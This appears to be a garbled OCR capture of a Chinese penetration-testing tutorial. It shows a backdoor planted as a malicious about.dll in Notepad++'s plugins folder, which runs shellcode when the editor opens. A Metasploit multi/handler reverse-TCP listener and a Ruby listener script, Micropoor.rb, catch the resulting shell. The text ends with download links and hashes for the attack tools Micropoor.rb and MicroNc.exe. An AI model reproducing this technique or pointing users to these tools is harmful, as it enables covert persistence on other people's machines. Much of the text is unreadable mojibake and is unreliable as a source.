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MESR/N\ZE | BEHUEEFTdemo |, SBRERBI EHERSPIFELSEFRIER.
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Demo A5 :
e  Windows 2003 x64
e  Windows 7 x64
e Debian
e notepad++ 7.6.1, notepad++7.5.9
e vs2017

Windows 2003 : ip 192.168.1.119

Ethernet adapter ﬁﬂﬂ%ﬁ:

Connection—specific DMNS Suffix

IF Address. . . . . 172 168.1.11%
Subnet Mask . . . . 255 2605 .255.8
Default Gateway . . 192 .168.1.1

EL
Microzoft Windows Serwer 2003 E2
Enterprize x64 Edition

I[ X Service Fack 2

Settings“Administrator>netstat —anifindstr "LISTEMING'
B.8.8.8:8 LISTEMIHNG
: LISTENING
: LISTENING
: LISTENING
: LISTENING
: LISTENING
: LISTENING

1 119:13%9

notepad ++ kR4 :



Build kirne ¢ Oct 14 2018 - 15:02:52

Motepad++ +7.5,.9 [32-hit)

Author : Hotepadtt team
Home Page https:/fnotepad-plus—plus. org

GMU Seneral Public Licence

This prograrm is free software; wou can redistribute it andfor &
modify it under the kerms of the GMNU General Public License

as published by the Free Software Foundation; either

wersion 2 af the License, or {ak your option) any later

YEFSian,

This prograrm is diskributed in the hope that it will be useful,

bt WITHOUT aMy WaRRANTY; without even the implied
warranty of MERCHAMTABILITY or FITMESS FOR & o
PARTICULAR PIURPOSE. See the GMU General Public License

Frr rnre details.

notepad+ +v7.6LA FARASRIEE IR X:\Program Files (x86)\Notepad+ +\pluginsE &
NEPA],

&R :
u.ﬂ:l.'-.'ﬁ - ___F,.' G p |(' 1= L by e | =] B s ' i | |a=d] ™
HivtiE (1 ) C:\Program Files (x86)'Wotepadt+iplugins ]
&R~ | ol | 2R | 2 BER | Bt
[CHAPI= I 2019-1-4 15:01
[ChConfig ik 2019-1-4 15:01
[Shdisabled Ik 2019-1-4 15:01
[)D5pellCheck itk 2019-1-4 15:01
[ChmimeTools Ik 2019-1-4 15:01
[y ¥ppConwerter prg ook 2019-1-4 15:01
[y ¥ppExport Ik 2019-1-4 15:01
(&Jabout. dll | Ta K WRRETE 2019-1-4 15:10 A
BeERIJEE -

AoE T kARSSEz



1192.168.1.2:22

rootglohn: Atmp# ruby Micropoor.rb

Micropoor.rb port
rootgloh Smpg Fuhy MiCFUpDDF.Fh 1444
Listening on 4444,

ficEBmsf :

msf exploit{multi/handler) = show options
Module options (exploitsmultishandler):

Mame ©Current Setting Required Description

Mame

EXITFUMNC
LHOST
LPORT

Exploit target:
Id Mame
0  Wildcard Target
msf exploit{multishandler] = exploit -z

[*] Started reverse TCP handler on 192.188.1.2:53

BX¥THnotepad++ :

AT :

TEkBRSSEE -

rootgJohn: Atmp# ruby Micropoor. rb

sage:

Micropoor.rb port

ruut@Jnhn:ftmp# ruhy HiCFDpDDF.Fh LEER]
1stening on 4444,

5 on-Lline #<TCPSocket:0x00005651addZeed8s=

"', seh, thread,

pProcess, nonej




msfiES3Es :

1.118:10

ATl

e notepad++#EtEdIlfF|7]

o A NARTEARSEFIERshellcode
e tRiEshellcodeWZ , INERE

e HfTshellcode

Micropoor.rofz/C|MEEEa0T :

def hand

0.0.0', PORT)

MRS , ZTHREXSdIRIIIEEEEMEN BIRRSS T | RFEEN FERSSssshellcode , LA
messagebox Al :
msf4EpEshellcoded T :



deprecated

while client = socket.accept

BxizfTnotepad++ , i messagebox , MFmsf payloadIhge,
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53 cxepoor Y

Hello, from MSF!

[EER9E

TEFE/\FH , RERE—XRBERSES | F5xk T X BERRSEEN a1 £3fEE.
VAR N/ MR BRIRSS B8 | SRR HIRTL. MIASEEEREE | WETERSSEF. K
TAFSEIAHESE. FFEBRRSeE BRI | RREMIDBEEPE S EEINEEINE.
AXRBEIN T EBARBIXI A, "B BARZIENGFOMERA , SEA |
ANRAE, MYFIEERR , T, #UT , BIIoIIERAENIP, X<y,
UNEEM &t BexelyiifE= shellcode,

B

Micropoor.rb

K/ 1830 =75

{Ehd1E): 2019F154H, 15:46:44

MD5: D5647F7EB16C72B94E0C59D87F82F8C3

SHAL: BDCFB4A9B421ACE280472B7A8580B4D9AA97FC22
CRC32: ABAB591B

https://drive.google.com/open?id=1ER6Xzcw4mfc14ql4LKOvBBugQCd23Apg



https://drive.google.com/open?id=1ER6Xzcw4mfc14ql4LK0vBBuqQCd23Apg

MicroNc.exe

it SERIEWEERIARE | EMicropoorBiiZ2HEINNISIE , MURS.

A\ 93696 =15

{&e4AdiaE): 20195F154H, 15:50:41

MD5: 42D900BE401D2A76B68B3CA34D227DD2

SHAL: B94E2D9828009D80EEDDE3E795E9CB43C3DC2ECE
CRC32: CA015C3E

https://drive.google.com/open?id=17ZKKPOdEcfirHb20T10pxSKCZPSplZUSf

e  Micropoor


https://drive.google.com/open?id=1ZKKPOdEcfirHb2oT1opxSKCZPSplZUSf

